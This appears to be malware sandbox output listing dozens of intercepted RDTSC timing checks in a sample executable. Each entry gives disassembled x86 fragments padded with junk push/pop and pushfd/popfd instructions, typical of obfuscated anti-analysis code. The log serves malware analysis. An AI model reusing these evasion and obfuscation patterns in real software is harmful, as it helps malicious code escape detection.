Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A9DF5 second address: 10A9DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8264D3C8F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8525 second address: 10B8529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8070 second address: 10B8076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8076 second address: 10B807A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B807A second address: 10B80A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F8264D3C940h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8264D3C903h 0x00000017 jo 00007F8264D3C8F6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B80A5 second address: 10B80BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7B5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C709B second address: 10C70A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C70A3 second address: 10C70A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C74AA second address: 10C74B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C74B0 second address: 10C74D3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8264EBD7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8264EBD7B5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C74D3 second address: 10C74D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C74D7 second address: 10C74FF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8264EBD7A6h 0x00000008 jmp 00007F8264EBD7AFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F8264EBD7ACh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C74FF second address: 10C7504 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7504 second address: 10C750A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7A7F second address: 10C7A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7C11 second address: 10C7C1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F8264EBD7A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7C1C second address: 10C7C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CAE9E second address: 10CAEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CAEA4 second address: 10CAEA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CFC78 second address: 10CFCA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8264EBD7B4h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jp 00007F8264EBD7A6h 0x00000011 jl 00007F8264EBD7A6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53104F6 second address: 5310529 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C8FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8264D3C8FEh 0x0000000f push eax 0x00000010 jmp 00007F8264D3C8FBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310529 second address: 531052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531052D second address: 5310533 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310533 second address: 531057A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8264EBD7B8h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007F8264EBD7ACh 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8264EBD7B7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53105CB second address: 53105EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53105EF second address: 53105F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53105F3 second address: 531060D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C906h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531060D second address: 5310665 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8264EBD7B6h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movsx edx, ax 0x00000017 pushfd 0x00000018 jmp 00007F8264EBD7B6h 0x0000001d and esi, 5C810768h 0x00000023 jmp 00007F8264EBD7ABh 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310665 second address: 53106BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8264D3C903h 0x00000013 sub al, 0000000Eh 0x00000016 jmp 00007F8264D3C909h 0x0000001b popfd 0x0000001c mov bx, ax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310E89 second address: 5310E95 instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov si, 45BBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310E95 second address: 5310EE5 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 3CA58297h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F8264D3C8FDh 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov ebx, esi 0x00000014 pushfd 0x00000015 jmp 00007F8264D3C908h 0x0000001a adc esi, 51FDCC68h 0x00000020 jmp 00007F8264D3C8FBh 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310EE5 second address: 5310EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310EE9 second address: 5310EEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310EEF second address: 5310EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310EF5 second address: 5310EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310EF9 second address: 5310F43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b jmp 00007F8264EBD7B0h 0x00000010 push dword ptr [ebp+0Ch] 0x00000013 jmp 00007F8264EBD7B0h 0x00000018 push dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F8264EBD7B7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310F43 second address: 5310F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310F49 second address: 5310F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310F4D second address: 5310F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53303E4 second address: 53303EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53303EA second address: 53303EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53303EE second address: 53303F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53303F2 second address: 5330400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330400 second address: 5330404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330404 second address: 533046E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movsx edi, si 0x00000009 popad 0x0000000a xchg eax, ecx 0x0000000b jmp 00007F8264D3C908h 0x00000010 push eax 0x00000011 jmp 00007F8264D3C8FBh 0x00000016 xchg eax, ecx 0x00000017 jmp 00007F8264D3C906h 0x0000001c push dword ptr [ebp+08h] 0x0000001f jmp 00007F8264D3C900h 0x00000024 lea eax, dword ptr [ebp-08h] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F8264D3C8FAh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533046E second address: 533047D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533047D second address: 53304A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C909h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53304A1 second address: 53304A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53304A5 second address: 53304AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53306AA second address: 53306B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53306B0 second address: 53306B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53107AF second address: 53107B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53107B3 second address: 53107B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53107B9 second address: 5310823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8264EBD7B4h 0x00000009 add ah, 00000028h 0x0000000c jmp 00007F8264EBD7ABh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F8264EBD7B8h 0x00000018 xor al, FFFFFF88h 0x0000001b jmp 00007F8264EBD7ABh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 mov dword ptr [esp], ebp 0x00000027 pushad 0x00000028 pushad 0x00000029 movzx eax, bx 0x0000002c mov cx, dx 0x0000002f popad 0x00000030 mov di, 85CEh 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310823 second address: 531082D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 30B8EE83h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531082D second address: 5310833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310833 second address: 5310837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310837 second address: 5310846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310846 second address: 531084C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310877 second address: 5310886 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310886 second address: 53108CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 1B7C1EA4h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8264D3C908h 0x00000014 xor si, 4638h 0x00000019 jmp 00007F8264D3C8FBh 0x0000001e popfd 0x0000001f mov di, cx 0x00000022 popad 0x00000023 add dword ptr [esp], 5969FD84h 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d mov ebx, esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53108CE second address: 53108D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53108D2 second address: 5310905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F8264D3C908h 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e popad 0x0000000f call 00007F82D481FFF4h 0x00000014 push 74DF27D0h 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov eax, dword ptr [esp+10h] 0x00000024 mov dword ptr [esp+10h], ebp 0x00000028 lea ebp, dword ptr [esp+10h] 0x0000002c sub esp, eax 0x0000002e push ebx 0x0000002f push esi 0x00000030 push edi 0x00000031 mov eax, dword ptr [74E80140h] 0x00000036 xor dword ptr [ebp-04h], eax 0x00000039 xor eax, ebp 0x0000003b push eax 0x0000003c mov dword ptr [ebp-18h], esp 0x0000003f push dword ptr [ebp-08h] 0x00000042 mov eax, dword ptr [ebp-04h] 0x00000045 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004c mov dword ptr [ebp-08h], eax 0x0000004f lea eax, dword ptr [ebp-10h] 0x00000052 mov dword ptr fs:[00000000h], eax 0x00000058 ret 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c mov cx, 913Fh 0x00000060 mov cx, 025Bh 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310905 second address: 53109FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8264EBD7B7h 0x00000009 add si, 4EBEh 0x0000000e jmp 00007F8264EBD7B9h 0x00000013 popfd 0x00000014 mov si, AC07h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b and dword ptr [ebp-04h], 00000000h 0x0000001f pushad 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 mov edx, eax 0x00000025 popad 0x00000026 push eax 0x00000027 pushfd 0x00000028 jmp 00007F8264EBD7B7h 0x0000002d xor si, E97Eh 0x00000032 jmp 00007F8264EBD7B9h 0x00000037 popfd 0x00000038 pop ecx 0x00000039 popad 0x0000003a mov edx, dword ptr [ebp+0Ch] 0x0000003d jmp 00007F8264EBD7B7h 0x00000042 mov esi, edx 0x00000044 pushad 0x00000045 mov al, D7h 0x00000047 mov cx, dx 0x0000004a popad 0x0000004b mov al, byte ptr [edx] 0x0000004d pushad 0x0000004e pushfd 0x0000004f jmp 00007F8264EBD7B4h 0x00000054 or si, 5E08h 0x00000059 jmp 00007F8264EBD7ABh 0x0000005e popfd 0x0000005f popad 0x00000060 inc edx 0x00000061 jmp 00007F8264EBD7B6h 0x00000066 test al, al 0x00000068 pushad 0x00000069 movzx ecx, bx 0x0000006c push eax 0x0000006d push edx 0x0000006e mov edx, 7BDED8ACh 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109FC second address: 53109FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C905h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jne 00007F8264D3C888h 0x00000010 mov al, byte ptr [edx] 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F8264D3C904h 0x00000019 or si, 5E08h 0x0000001e jmp 00007F8264D3C8FBh 0x00000023 popfd 0x00000024 popad 0x00000025 inc edx 0x00000026 jmp 00007F8264D3C906h 0x0000002b test al, al 0x0000002d pushad 0x0000002e movzx ecx, bx 0x00000031 push eax 0x00000032 push edx 0x00000033 mov edx, 7BDED8ACh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A22 second address: 5310A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A26 second address: 5310A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A2C second address: 5310A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8264EBD7B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A41 second address: 5310A45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A45 second address: 5310A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A55 second address: 5310A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A59 second address: 5310A5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A5D second address: 5310A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A63 second address: 5310A74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8264EBD7ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A74 second address: 5310A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A78 second address: 5310A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A89 second address: 5310A9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C902h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A9F second address: 5310AB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop ecx 0x0000000f movsx edi, si 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310AB8 second address: 5310AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8264D3C904h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310AD0 second address: 5310AFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea ebx, dword ptr [edi+01h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8264EBD7B5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310AFB second address: 5310B2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264D3C901h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8264D3C908h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B2F second address: 5310B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B33 second address: 5310B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B39 second address: 5310B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B3F second address: 5310B9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8264D3C902h 0x00000010 or ch, FFFFFFC8h 0x00000013 jmp 00007F8264D3C8FBh 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F8264D3C908h 0x0000001f and al, 00000028h 0x00000022 jmp 00007F8264D3C8FBh 0x00000027 popfd 0x00000028 popad 0x00000029 test al, al 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B9C second address: 5310BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8264EBD7B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310BB7 second address: 5310BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
